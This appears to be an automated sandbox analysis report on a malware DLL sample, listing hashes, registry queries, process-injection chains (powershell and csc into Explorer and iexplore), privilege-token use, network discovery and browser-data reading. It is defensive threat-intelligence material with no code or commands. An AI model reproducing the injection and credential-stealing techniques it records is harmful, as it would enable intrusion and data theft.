Analysis
-
max time kernel
150s -
max time network
146s -
platform
windows10_x64 -
resource
win10v200430 -
submitted
06-07-2020 15:26
Static task
static1
Behavioral task
behavioral1
Sample
Emmett.mpa.dll
Resource
win7
0 signatures
0 seconds
General
-
Target
Emmett.mpa.dll
-
Size
264KB
-
MD5
f2468454850c605558c6e959e07483b8
-
SHA1
78a426659ffff4152573b41a55270a868f8220f0
-
SHA256
f3bd51c1bd71274daa1112b90a478ab08ee9644c117cc5405b53d37b839e8fdc
-
SHA512
5628bd8f9dcea25426b6242296cb9c34f86cfa75a36b14829d001594f040a83043f538da796fcf14d9eedc8aaac24af8a53c780ac57d524d9b90f994ec4e1180
Malware Config
Signatures
-
Checks for installed software on the system 1 TTPs 21 IoCs
description ioc Process Key value queried \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{5FCE6D76-F5DC-37AB-B2B8-22AB8CEDB1D4}\DisplayName reg.exe Key value queried \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{90160000-007E-0000-1000-0000000FF1CE}\DisplayName reg.exe Key value queried \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{90160000-008C-0000-1000-0000000FF1CE}\DisplayName reg.exe Key enumerated \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall reg.exe Key value queried \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\Mozilla Firefox 75.0 (x64 en-US)\DisplayName reg.exe Key value queried \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\MozillaMaintenanceService\DisplayName reg.exe Key value queried \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\ProPlusRetail - en-us\DisplayName reg.exe Key value queried \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{26A24AE4-039D-4CA4-87B4-2F86418066F0}\DisplayName reg.exe Key value queried \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{5740BD44-B58D-321A-AFC0-6D3D4556DD6C}\DisplayName reg.exe Key value queried \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{90160000-008C-0409-1000-0000000FF1CE}\DisplayName reg.exe Key value queried \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{CB0836EC-B072-368D-82B2-D3470BF95707}\DisplayName reg.exe Key opened \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall reg.exe Key queried \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall reg.exe Key value queried \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\VLC media player\DisplayName reg.exe Key value queried \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{12578975-C765-4BDF-8DDC-3284BC0E855F}\DisplayName reg.exe Key value queried \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{CF2BEA3C-26EA-32F8-AA9B-331F7E34BA97}\DisplayName reg.exe Key value queried \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{F7CAC7DF-3524-4C2D-A7DB-E16140A3D5E6}\DisplayName reg.exe Key value queried \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\7-Zip\DisplayName reg.exe Key value queried \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{1D8E6291-B0D5-35EC-8441-6616F567A0F7}\DisplayName reg.exe Key value queried \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{37B8F9C7-03FB-3253-8781-2517C99D7C00}\DisplayName reg.exe Key value queried \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{64A3A4F4-B792-11D6-A78A-00B0D0180660}\DisplayName reg.exe -
Suspicious use of WriteProcessMemory 104 IoCs
description pid Process procid_target PID 1732 wrote to memory of 1864 1732 rundll32.exe 68 PID 1732 wrote to memory of 1864 1732 rundll32.exe 68 PID 1732 wrote to memory of 1864 1732 rundll32.exe 68 PID 3924 wrote to memory of 2016 3924 iexplore.exe 75 PID 3924 wrote to memory of 2016 3924 iexplore.exe 75 PID 3924 wrote to memory of 2016 3924 iexplore.exe 75 PID 3924 wrote to memory of 3616 3924 iexplore.exe 76 PID 3924 wrote to memory of 3616 3924 iexplore.exe 76 PID 3924 wrote to memory of 3616 3924 iexplore.exe 76 PID 3720 wrote to memory of 1980 3720 mshta.exe 79 PID 3720 wrote to memory of 1980 3720 mshta.exe 79 PID 1980 wrote to memory of 2732 1980 powershell.exe 81 PID 1980 wrote to memory of 2732 1980 powershell.exe 81 PID 2732 wrote to memory of 2504 2732 csc.exe 82 PID 2732 wrote to memory of 2504 2732 csc.exe 82 PID 1980 wrote to memory of 3452 1980 powershell.exe 83 PID 1980 wrote to memory of 3452 1980 powershell.exe 83 PID 3452 wrote to memory of 60 3452 csc.exe 84 PID 3452 wrote to memory of 60 3452 csc.exe 84 PID 1980 wrote to memory of 3000 1980 powershell.exe 56 PID 1980 wrote to memory of 3000 1980 powershell.exe 56 PID 1980 wrote to memory of 3000 1980 powershell.exe 56 PID 1980 wrote to memory of 3000 1980 powershell.exe 56 PID 3000 wrote to memory of 1988 3000 Explorer.EXE 85 PID 3000 wrote to memory of 1988 3000 Explorer.EXE 85 PID 3000 wrote to memory of 1988 3000 Explorer.EXE 85 PID 3000 wrote to memory of 3548 3000 Explorer.EXE 59 PID 3000 wrote to memory of 3548 3000 Explorer.EXE 59 PID 3000 wrote to memory of 3548 3000 Explorer.EXE 59 PID 3000 wrote to memory of 3548 3000 Explorer.EXE 59 PID 3000 wrote to memory of 3924 3000 Explorer.EXE 74 PID 3000 wrote to memory of 3924 3000 Explorer.EXE 74 PID 3000 wrote to memory of 3924 3000 Explorer.EXE 74 PID 3000 wrote to memory of 3924 3000 Explorer.EXE 74 PID 3000 wrote to memory of 1988 3000 Explorer.EXE 85 PID 3000 wrote to memory of 1988 3000 Explorer.EXE 85 PID 1988 wrote to memory of 1492 1988 cmd.exe 87 PID 1988 wrote to memory of 1492 1988 cmd.exe 87 PID 1988 wrote to memory of 1492 1988 cmd.exe 87 PID 1988 wrote to memory of 1492 1988 cmd.exe 87 PID 1988 wrote to memory of 1492 1988 cmd.exe 87 PID 3000 wrote to memory of 640 3000 Explorer.EXE 89 PID 3000 wrote to memory of 420 3000 Explorer.EXE 88 PID 3000 wrote to memory of 640 3000 Explorer.EXE 89 PID 3000 wrote to memory of 420 3000 Explorer.EXE 88 PID 420 wrote to memory of 2460 420 cmd.exe 93 PID 420 wrote to memory of 2460 420 cmd.exe 93 PID 640 wrote to memory of 2464 640 cmd.exe 92 PID 640 wrote to memory of 2464 640 cmd.exe 92 PID 3000 wrote to memory of 2680 3000 Explorer.EXE 94 PID 3000 wrote to memory of 2680 3000 Explorer.EXE 94 PID 3000 wrote to memory of 2736 3000 Explorer.EXE 95 PID 3000 wrote to memory of 2736 3000 Explorer.EXE 95 PID 3000 wrote to memory of 2316 3000 Explorer.EXE 98 PID 3000 wrote to memory of 2316 3000 Explorer.EXE 98 PID 3000 wrote to memory of 2316 3000 Explorer.EXE 98 PID 3000 wrote to memory of 2316 3000 Explorer.EXE 98 PID 3000 wrote to memory of 2316 3000 Explorer.EXE 98 PID 3000 wrote to memory of 3620 3000 Explorer.EXE 99 PID 3000 wrote to memory of 3620 3000 Explorer.EXE 99 PID 3620 wrote to memory of 1232 3620 cmd.exe 101 PID 3620 wrote to memory of 1232 3620 cmd.exe 101 PID 3620 wrote to memory of 1980 3620 cmd.exe 102 PID 3620 wrote to memory of 1980 3620 cmd.exe 102 PID 3000 wrote to memory of 3404 3000 Explorer.EXE 104 PID 3000 wrote to memory of 3404 3000 Explorer.EXE 104 PID 3000 wrote to memory of 2872 3000 Explorer.EXE 106 PID 3000 wrote to memory of 2872 3000 Explorer.EXE 106 PID 2872 wrote to memory of 1872 2872 cmd.exe 108 PID 2872 wrote to memory of 1872 2872 cmd.exe 108 PID 3000 wrote to memory of 1592 3000 Explorer.EXE 109 PID 3000 wrote to memory of 1592 3000 Explorer.EXE 109 PID 3000 wrote to memory of 1472 3000 Explorer.EXE 111 PID 3000 wrote to memory of 1472 3000 Explorer.EXE 111 PID 1472 wrote to memory of 2304 1472 cmd.exe 113 PID 1472 wrote to memory of 2304 1472 cmd.exe 113 PID 3000 wrote to memory of 1380 3000 Explorer.EXE 114 PID 3000 wrote to memory of 1380 3000 Explorer.EXE 114 PID 3000 wrote to memory of 3976 3000 Explorer.EXE 116 PID 3000 wrote to memory of 3976 3000 Explorer.EXE 116 PID 3976 wrote to memory of 1528 3976 cmd.exe 118 PID 3976 wrote to memory of 1528 3976 cmd.exe 118 PID 3000 wrote to memory of 2992 3000 Explorer.EXE 119 PID 3000 wrote to memory of 2992 3000 Explorer.EXE 119 PID 3000 wrote to memory of 512 3000 Explorer.EXE 121 PID 3000 wrote to memory of 512 3000 Explorer.EXE 121 PID 512 wrote to memory of 2740 512 cmd.exe 123 PID 512 wrote to memory of 2740 512 cmd.exe 123 PID 3000 wrote to memory of 420 3000 Explorer.EXE 124 PID 3000 wrote to memory of 420 3000 Explorer.EXE 124 PID 3000 wrote to memory of 1872 3000 Explorer.EXE 126 PID 3000 wrote to memory of 1872 3000 Explorer.EXE 126 PID 1872 wrote to memory of 1248 1872 cmd.exe 128 PID 1872 wrote to memory of 1248 1872 cmd.exe 128 PID 3000 wrote to memory of 1472 3000 Explorer.EXE 129 PID 3000 wrote to memory of 1472 3000 Explorer.EXE 129 PID 3000 wrote to memory of 1996 3000 Explorer.EXE 131 PID 3000 wrote to memory of 1996 3000 Explorer.EXE 131 PID 1996 wrote to memory of 1076 1996 cmd.exe 133 PID 1996 wrote to memory of 1076 1996 cmd.exe 133 PID 3000 wrote to memory of 2892 3000 Explorer.EXE 134 PID 3000 wrote to memory of 2892 3000 Explorer.EXE 134 PID 3000 wrote to memory of 1820 3000 Explorer.EXE 136 PID 3000 wrote to memory of 1820 3000 Explorer.EXE 136 -
Suspicious use of FindShellTrayWindow 3 IoCs
pid Process 3924 iexplore.exe 3924 iexplore.exe 3924 iexplore.exe -
Suspicious behavior: CmdExeWriteProcessMemorySpam 1 IoCs
pid Process 1492 PING.EXE -
Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
-
Checks whether UAC is enabled 3 IoCs
description ioc Process Key value queried \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA iexplore.exe Key value queried \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA IEXPLORE.EXE Key value queried \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA IEXPLORE.EXE -
Suspicious use of AdjustPrivilegeToken 70 IoCs
description pid Process Token: SeDebugPrivilege 1980 powershell.exe Token: SeShutdownPrivilege 3000 Explorer.EXE Token: SeCreatePagefilePrivilege 3000 Explorer.EXE Token: SeShutdownPrivilege 3000 Explorer.EXE Token: SeCreatePagefilePrivilege 3000 Explorer.EXE Token: SeShutdownPrivilege 3000 Explorer.EXE Token: SeCreatePagefilePrivilege 3000 Explorer.EXE Token: SeIncreaseQuotaPrivilege 1232 WMIC.exe Token: SeSecurityPrivilege 1232 WMIC.exe Token: SeTakeOwnershipPrivilege 1232 WMIC.exe Token: SeLoadDriverPrivilege 1232 WMIC.exe Token: SeSystemProfilePrivilege 1232 WMIC.exe Token: SeSystemtimePrivilege 1232 WMIC.exe Token: SeProfSingleProcessPrivilege 1232 WMIC.exe Token: SeIncBasePriorityPrivilege 1232 WMIC.exe Token: SeCreatePagefilePrivilege 1232 WMIC.exe Token: SeBackupPrivilege 1232 WMIC.exe Token: SeRestorePrivilege 1232 WMIC.exe Token: SeShutdownPrivilege 1232 WMIC.exe Token: SeDebugPrivilege 1232 WMIC.exe Token: SeSystemEnvironmentPrivilege 1232 WMIC.exe Token: SeRemoteShutdownPrivilege 1232 WMIC.exe Token: SeUndockPrivilege 1232 WMIC.exe Token: SeManageVolumePrivilege 1232 WMIC.exe Token: 33 1232 WMIC.exe Token: 34 1232 WMIC.exe Token: 35 1232 WMIC.exe Token: 36 1232 WMIC.exe Token: SeIncreaseQuotaPrivilege 1232 WMIC.exe Token: SeSecurityPrivilege 1232 WMIC.exe Token: SeTakeOwnershipPrivilege 1232 WMIC.exe Token: SeLoadDriverPrivilege 1232 WMIC.exe Token: SeSystemProfilePrivilege 1232 WMIC.exe Token: SeSystemtimePrivilege 1232 WMIC.exe Token: SeProfSingleProcessPrivilege 1232 WMIC.exe Token: SeIncBasePriorityPrivilege 1232 WMIC.exe Token: SeCreatePagefilePrivilege 1232 WMIC.exe Token: SeBackupPrivilege 1232 WMIC.exe Token: SeRestorePrivilege 1232 WMIC.exe Token: SeShutdownPrivilege 1232 WMIC.exe Token: SeDebugPrivilege 1232 WMIC.exe Token: SeSystemEnvironmentPrivilege 1232 WMIC.exe Token: SeRemoteShutdownPrivilege 1232 WMIC.exe Token: SeUndockPrivilege 1232 WMIC.exe Token: SeManageVolumePrivilege 1232 WMIC.exe Token: 33 1232 WMIC.exe Token: 34 1232 WMIC.exe Token: 35 1232 WMIC.exe Token: 36 1232 WMIC.exe Token: SeDebugPrivilege 2740 tasklist.exe Token: SeShutdownPrivilege 3000 Explorer.EXE Token: SeCreatePagefilePrivilege 3000 Explorer.EXE Token: SeShutdownPrivilege 3000 Explorer.EXE Token: SeCreatePagefilePrivilege 3000 Explorer.EXE Token: SeShutdownPrivilege 3000 Explorer.EXE Token: SeCreatePagefilePrivilege 3000 Explorer.EXE Token: SeShutdownPrivilege 3000 Explorer.EXE Token: SeCreatePagefilePrivilege 3000 Explorer.EXE Token: SeShutdownPrivilege 3000 Explorer.EXE Token: SeCreatePagefilePrivilege 3000 Explorer.EXE Token: SeShutdownPrivilege 3000 Explorer.EXE Token: SeCreatePagefilePrivilege 3000 Explorer.EXE Token: SeShutdownPrivilege 3000 Explorer.EXE Token: SeCreatePagefilePrivilege 3000 Explorer.EXE Token: SeShutdownPrivilege 3000 Explorer.EXE Token: SeCreatePagefilePrivilege 3000 Explorer.EXE Token: SeShutdownPrivilege 3000 Explorer.EXE Token: SeCreatePagefilePrivilege 3000 Explorer.EXE Token: SeShutdownPrivilege 3000 Explorer.EXE Token: SeCreatePagefilePrivilege 3000 Explorer.EXE -
Suspicious use of SetThreadContext 6 IoCs
description pid Process procid_target PID 1980 set thread context of 3000 1980 powershell.exe 56 PID 3000 set thread context of 3548 3000 Explorer.EXE 59 PID 3000 set thread context of 3924 3000 Explorer.EXE 74 PID 3000 set thread context of 1988 3000 Explorer.EXE 85 PID 1988 set thread context of 1492 1988 cmd.exe 87 PID 3000 set thread context of 2316 3000 Explorer.EXE 98 -
description ioc Process Set value (int) \REGISTRY\USER\S-1-5-21-1231583446-2617009595-2137880041-1000\Software\Microsoft\Internet Explorer\VersionManager\LastCheckForUpdateHighDateTime = "30823355" iexplore.exe Set value (str) \REGISTRY\USER\S-1-5-21-1231583446-2617009595-2137880041-1000\Software\Microsoft\Internet Explorer\Main\FullScreen = "no" iexplore.exe Set value (int) \REGISTRY\USER\S-1-5-21-1231583446-2617009595-2137880041-1000\Software\Microsoft\Internet Explorer\Recovery\PendingRecovery\AdminActive = "0" iexplore.exe Key created \REGISTRY\USER\S-1-5-21-1231583446-2617009595-2137880041-1000\Software\Microsoft\Internet Explorer\Main IEXPLORE.EXE Set value (str) \REGISTRY\USER\S-1-5-21-1231583446-2617009595-2137880041-1000\Software\Microsoft\Internet Explorer\Main\WindowsSearch\Version = "WS not running" IEXPLORE.EXE Set value (int) \REGISTRY\USER\S-1-5-21-1231583446-2617009595-2137880041-1000\Software\Microsoft\Internet Explorer\VersionManager\LastTTLHighDateTime = "50" iexplore.exe Key created \REGISTRY\USER\S-1-5-21-1231583446-2617009595-2137880041-1000\Software\Microsoft\Internet Explorer\Main\WindowsSearch iexplore.exe Set value (data) \REGISTRY\USER\S-1-5-21-1231583446-2617009595-2137880041-1000\Software\Microsoft\Internet Explorer\TabbedBrowsing\NewTabPage\DecayDateQueue = 01000000d08c9ddf0115d1118c7a00c04fc297eb0100000070f4e65ddf1514459006b313b316c020000000000200000000001066000000010000200000008e80d0630522f65f6670a132b310b1e27339f7295e5743be3059e20a108dc0f3000000000e8000000002000020000000bfb2031f39bf4ff73a006d6920827ff0019770fd178cb7231100c01ed806800920000000ba49cda2bd80f96e873e7e6b2e46c2afeea6953793e36df46b661ee4e83681e4400000005e15390b9332810a022e89dfe34ee646190fa3028f60a33b75860fa962b9845729a6bbeaab524547e71caae28936db9121349584ab73ca83436c5c1e31add83b iexplore.exe Key created \REGISTRY\USER\S-1-5-21-1231583446-2617009595-2137880041-1000\Software\Microsoft\Internet Explorer\Recovery\AdminActive iexplore.exe Set value (int) \REGISTRY\USER\S-1-5-21-1231583446-2617009595-2137880041-1000\Software\Microsoft\Internet Explorer\Recovery\AdminActive\{48275D4A-BFAE-11EA-BF1A-F2624357A4C7} = "0" iexplore.exe Key created \REGISTRY\USER\S-1-5-21-1231583446-2617009595-2137880041-1000\Software\Microsoft\Internet Explorer\Main\WindowsSearch IEXPLORE.EXE Set value (int) \REGISTRY\USER\S-1-5-21-1231583446-2617009595-2137880041-1000\Software\Microsoft\Internet Explorer\VersionManager\LastTTLLowDateTime = "1251635200" iexplore.exe Set value (data) \REGISTRY\USER\S-1-5-21-1231583446-2617009595-2137880041-1000\Software\Microsoft\Internet Explorer\Main\Window_Placement = 2c0000000000000001000000ffffffffffffffffffffffffffffffff5800000000000000de04000065020000 iexplore.exe Set value (int) \REGISTRY\USER\S-1-5-21-1231583446-2617009595-2137880041-1000\Software\Microsoft\Internet Explorer\VersionManager\LastUpdateLowDateTime = "482696754" iexplore.exe Set value (data) \REGISTRY\USER\S-1-5-21-1231583446-2617009595-2137880041-1000\Software\Microsoft\Internet Explorer\TabbedBrowsing\NewTabPage\LastProcessed = 80d3fb0fbb53d601 iexplore.exe Key created \REGISTRY\USER\S-1-5-21-1231583446-2617009595-2137880041-1000\Software\Microsoft\Internet Explorer\VersionManager iexplore.exe Set value (int) \REGISTRY\USER\S-1-5-21-1231583446-2617009595-2137880041-1000\Software\Microsoft\Internet Explorer\VersionManager\LastUpdateHighDateTime = "30823355" iexplore.exe Set value (data) \REGISTRY\USER\S-1-5-21-1231583446-2617009595-2137880041-1000\Software\Microsoft\Internet Explorer\Main\Window_Placement = 2c0000000000000001000000ffffffffffffffffffffffffffffffff3e0000003e000000c4040000a3020000 iexplore.exe Set value (int) \REGISTRY\USER\S-1-5-21-1231583446-2617009595-2137880041-1000\Software\Microsoft\Internet Explorer\MINIE\TabBandWidth = "500" iexplore.exe Key created \REGISTRY\USER\S-1-5-21-1231583446-2617009595-2137880041-1000\Software\Microsoft\Internet Explorer\TabbedBrowsing iexplore.exe Key created \REGISTRY\USER\S-1-5-21-1231583446-2617009595-2137880041-1000\Software\Microsoft\Internet Explorer\TabbedBrowsing\NewTabPage iexplore.exe Set value (data) \REGISTRY\USER\S-1-5-21-1231583446-2617009595-2137880041-1000\Software\Microsoft\Internet Explorer\TabbedBrowsing\NewTabPage\DecayDateQueue = 01000000d08c9ddf0115d1118c7a00c04fc297eb0100000070f4e65ddf1514459006b313b316c020000000000200000000001066000000010000200000002808eb3b9fdcc715ed35a916d453e7c6c9e32a7786f860ac965d39ff8a233f43000000000e80000000020000200000004f4441e6a66ccca1f6d83c937277c51099fdc8f9ae1e76dd4ff85e368e824ab520000000c51f43e58002d43c1e2857f8d9e04e1e6c1ab76d08dc0934090985c6a09df5d140000000b7b914ded6fa68e3dd82a6add2e547eebd3f8c701fa0ec95e1cebfcf452f468f7140aa80c077f3822bfd7dcc163f09cafd092c4d7e2d6c0a030abf65dcdcebfe iexplore.exe Set value (int) \REGISTRY\USER\S-1-5-21-1231583446-2617009595-2137880041-1000\Software\Microsoft\Internet Explorer\VersionManager\LastCheckForUpdateLowDateTime = "482696754" iexplore.exe Key created \REGISTRY\USER\S-1-5-21-1231583446-2617009595-2137880041-1000\Software\Microsoft\Internet Explorer\Main iexplore.exe Set value (str) \REGISTRY\USER\S-1-5-21-1231583446-2617009595-2137880041-1000\Software\Microsoft\Internet Explorer\Main\WindowsSearch\Version = "WS not running" iexplore.exe Key created \REGISTRY\USER\S-1-5-21-1231583446-2617009595-2137880041-1000\Software\Microsoft\Internet Explorer\Main IEXPLORE.EXE Key created \REGISTRY\USER\S-1-5-21-1231583446-2617009595-2137880041-1000\Software\Microsoft\Internet Explorer\VersionManager IEXPLORE.EXE Set value (int) \REGISTRY\USER\S-1-5-21-1231583446-2617009595-2137880041-1000\Software\Microsoft\Internet Explorer\VersionManager\LastCheckForUpdateHighDateTime = "30823355" IEXPLORE.EXE Set value (int) \REGISTRY\USER\S-1-5-21-1231583446-2617009595-2137880041-1000\Software\Microsoft\Internet Explorer\Main\CompatibilityFlags = "0" iexplore.exe Key created \REGISTRY\USER\S-1-5-21-1231583446-2617009595-2137880041-1000\Software\Microsoft\Internet Explorer\MINIE iexplore.exe Key created \REGISTRY\USER\S-1-5-21-1231583446-2617009595-2137880041-1000\Software\Microsoft\Internet Explorer\Main\WindowsSearch IEXPLORE.EXE Set value (data) \REGISTRY\USER\S-1-5-21-1231583446-2617009595-2137880041-1000\Software\Microsoft\Internet Explorer\TabbedBrowsing\NewTabPage\LastProcessed = e00a0b0fbb53d601 iexplore.exe Set value (int) \REGISTRY\USER\S-1-5-21-1231583446-2617009595-2137880041-1000\Software\Microsoft\Internet Explorer\VersionManager\LastCheckForUpdateLowDateTime = "497853437" IEXPLORE.EXE Key created \REGISTRY\USER\S-1-5-21-1231583446-2617009595-2137880041-1000\Software\Microsoft\Internet Explorer\Recovery\PendingRecovery iexplore.exe Set value (str) \REGISTRY\USER\S-1-5-21-1231583446-2617009595-2137880041-1000\Software\Microsoft\Internet Explorer\Main\WindowsSearch\Version = "WS not running" IEXPLORE.EXE Set value (int) \REGISTRY\USER\S-1-5-21-1231583446-2617009595-2137880041-1000\Software\Microsoft\Internet Explorer\TabbedBrowsing\NTPFirstRun = "1" iexplore.exe -
Runs ping.exe 1 TTPs 1 IoCs
pid Process 1492 PING.EXE -
Discovers systems in the same network 1 TTPs 1 IoCs
pid Process 2304 net.exe -
Suspicious use of SetWindowsHookEx 12 IoCs
pid Process 3924 iexplore.exe 3924 iexplore.exe 2016 IEXPLORE.EXE 2016 IEXPLORE.EXE 3924 iexplore.exe 3924 iexplore.exe 3616 IEXPLORE.EXE 3616 IEXPLORE.EXE 3924 iexplore.exe 3924 iexplore.exe 2016 IEXPLORE.EXE 2016 IEXPLORE.EXE -
Suspicious behavior: EnumeratesProcesses 1415 IoCs
pid Process 1980 powershell.exe 1980 powershell.exe 1980 powershell.exe 3000 Explorer.EXE 3000 Explorer.EXE 3000 Explorer.EXE 3000 Explorer.EXE 3000 Explorer.EXE 3000 Explorer.EXE 3000 Explorer.EXE 3000 Explorer.EXE 3000 Explorer.EXE 3000 Explorer.EXE 3000 Explorer.EXE 3000 Explorer.EXE 3000 Explorer.EXE 3000 Explorer.EXE 3000 Explorer.EXE 3000 Explorer.EXE 3000 Explorer.EXE 3000 Explorer.EXE 3000 Explorer.EXE 3000 Explorer.EXE 3000 Explorer.EXE 3000 Explorer.EXE 3000 Explorer.EXE 3000 Explorer.EXE 3000 Explorer.EXE 3000 Explorer.EXE 3000 Explorer.EXE 3000 Explorer.EXE 3000 Explorer.EXE 3000 Explorer.EXE 3000 Explorer.EXE 3000 Explorer.EXE 3000 Explorer.EXE 3000 Explorer.EXE 3000 Explorer.EXE 3000 Explorer.EXE 3000 Explorer.EXE 3000 Explorer.EXE 3000 Explorer.EXE 3000 Explorer.EXE 3000 Explorer.EXE 3000 Explorer.EXE 3000 Explorer.EXE 3000 Explorer.EXE 3000 Explorer.EXE 3000 Explorer.EXE 3000 Explorer.EXE 3000 Explorer.EXE 3000 Explorer.EXE 3000 Explorer.EXE 3000 Explorer.EXE 3000 Explorer.EXE 3000 Explorer.EXE 3000 Explorer.EXE 3000 Explorer.EXE 3000 Explorer.EXE 3000 Explorer.EXE 3000 Explorer.EXE 3000 Explorer.EXE 3000 Explorer.EXE 3000 Explorer.EXE 3000 Explorer.EXE 3000 Explorer.EXE 3000 Explorer.EXE 3000 Explorer.EXE 3000 Explorer.EXE 3000 Explorer.EXE 3000 Explorer.EXE 3000 Explorer.EXE 3000 Explorer.EXE 3000 Explorer.EXE 3000 Explorer.EXE 3000 Explorer.EXE 3000 Explorer.EXE 3000 Explorer.EXE 3000 Explorer.EXE 3000 Explorer.EXE 3000 Explorer.EXE 3000 Explorer.EXE 3000 Explorer.EXE 3000 Explorer.EXE 3000 Explorer.EXE 3000 Explorer.EXE 3000 Explorer.EXE 3000 Explorer.EXE 3000 Explorer.EXE 3000 Explorer.EXE 3000 Explorer.EXE 3000 Explorer.EXE 3000 Explorer.EXE 3000 Explorer.EXE 3000 Explorer.EXE 3000 Explorer.EXE 3000 Explorer.EXE 3000 Explorer.EXE 3000 Explorer.EXE 3000 Explorer.EXE 3000 Explorer.EXE 3000 Explorer.EXE 3000 Explorer.EXE 3000 Explorer.EXE 3000 Explorer.EXE 3000 Explorer.EXE 3000 Explorer.EXE 3000 Explorer.EXE 3000 Explorer.EXE 3000 Explorer.EXE 3000 Explorer.EXE 3000 Explorer.EXE 3000 Explorer.EXE 3000 Explorer.EXE 3000 Explorer.EXE 3000 Explorer.EXE 3000 Explorer.EXE 3000 Explorer.EXE 3000 Explorer.EXE 3000 Explorer.EXE 3000 Explorer.EXE 3000 Explorer.EXE 3000 Explorer.EXE 3000 Explorer.EXE 3000 Explorer.EXE 3000 Explorer.EXE 3000 Explorer.EXE 3000 Explorer.EXE 3000 Explorer.EXE 3000 Explorer.EXE 3000 Explorer.EXE 3000 Explorer.EXE 3000 Explorer.EXE 3000 Explorer.EXE 3000 Explorer.EXE 3000 Explorer.EXE 3000 Explorer.EXE 3000 Explorer.EXE 3000 Explorer.EXE 3000 Explorer.EXE 3000 Explorer.EXE 3000 Explorer.EXE 3000 Explorer.EXE 3000 Explorer.EXE 3000 Explorer.EXE 3000 Explorer.EXE 3000 Explorer.EXE 3000 Explorer.EXE 3000 Explorer.EXE 3000 Explorer.EXE 3000 Explorer.EXE 3000 Explorer.EXE 3000 Explorer.EXE 3000 Explorer.EXE 3000 Explorer.EXE 3000 Explorer.EXE 3000 Explorer.EXE 3000 Explorer.EXE 3000 Explorer.EXE 3000 Explorer.EXE 3000 Explorer.EXE 3000 Explorer.EXE 3000 Explorer.EXE 3000 Explorer.EXE 3000 Explorer.EXE 3000 Explorer.EXE 3000 Explorer.EXE 3000 Explorer.EXE 3000 Explorer.EXE 3000 Explorer.EXE 3000 Explorer.EXE 3000 Explorer.EXE 3000 Explorer.EXE 3000 Explorer.EXE 3000 Explorer.EXE 3000 Explorer.EXE 3000 Explorer.EXE 3000 Explorer.EXE 3000 Explorer.EXE 3000 Explorer.EXE 3000 Explorer.EXE 3000 Explorer.EXE 3000 Explorer.EXE 3000 Explorer.EXE 3000 Explorer.EXE 3000 Explorer.EXE 3000 Explorer.EXE 3000 Explorer.EXE 3000 Explorer.EXE 3000 Explorer.EXE 3000 Explorer.EXE 3000 Explorer.EXE 3000 Explorer.EXE 3000 Explorer.EXE 3000 Explorer.EXE 3000 Explorer.EXE 3000 Explorer.EXE 3000 Explorer.EXE 3000 Explorer.EXE 3000 Explorer.EXE 3000 Explorer.EXE 3000 Explorer.EXE 3000 Explorer.EXE 3000 Explorer.EXE 3000 Explorer.EXE 3000 Explorer.EXE 3000 Explorer.EXE 3000 Explorer.EXE 3000 Explorer.EXE 3000 Explorer.EXE 3000 Explorer.EXE 3000 Explorer.EXE 3000 Explorer.EXE 3000 Explorer.EXE 3000 Explorer.EXE 3000 Explorer.EXE 3000 Explorer.EXE 3000 Explorer.EXE 3000 Explorer.EXE 3000 Explorer.EXE 3000 Explorer.EXE 3000 Explorer.EXE 3000 Explorer.EXE 3000 Explorer.EXE 3000 Explorer.EXE 3000 Explorer.EXE 3000 Explorer.EXE 3000 Explorer.EXE 3000 Explorer.EXE 3000 Explorer.EXE 3000 Explorer.EXE 3000 Explorer.EXE 3000 Explorer.EXE 3000 Explorer.EXE 3000 Explorer.EXE 3000 Explorer.EXE 3000 Explorer.EXE 3000 Explorer.EXE 3000 Explorer.EXE 3000 Explorer.EXE 3000 Explorer.EXE 3000 Explorer.EXE 3000 Explorer.EXE 3000 Explorer.EXE 3000 Explorer.EXE 3000 Explorer.EXE 3000 Explorer.EXE 3000 Explorer.EXE 3000 Explorer.EXE 3000 Explorer.EXE 3000 Explorer.EXE 3000 Explorer.EXE 3000 Explorer.EXE 3000 Explorer.EXE 3000 Explorer.EXE 3000 Explorer.EXE 3000 Explorer.EXE 3000 Explorer.EXE 3000 Explorer.EXE 3000 Explorer.EXE 3000 Explorer.EXE 3000 Explorer.EXE 3000 Explorer.EXE 3000 Explorer.EXE 3000 Explorer.EXE 3000 Explorer.EXE 3000 Explorer.EXE 3000 Explorer.EXE 3000 Explorer.EXE 3000 Explorer.EXE 3000 Explorer.EXE 3000 Explorer.EXE 3000 Explorer.EXE 3000 Explorer.EXE 3000 Explorer.EXE 3000 Explorer.EXE 3000 Explorer.EXE 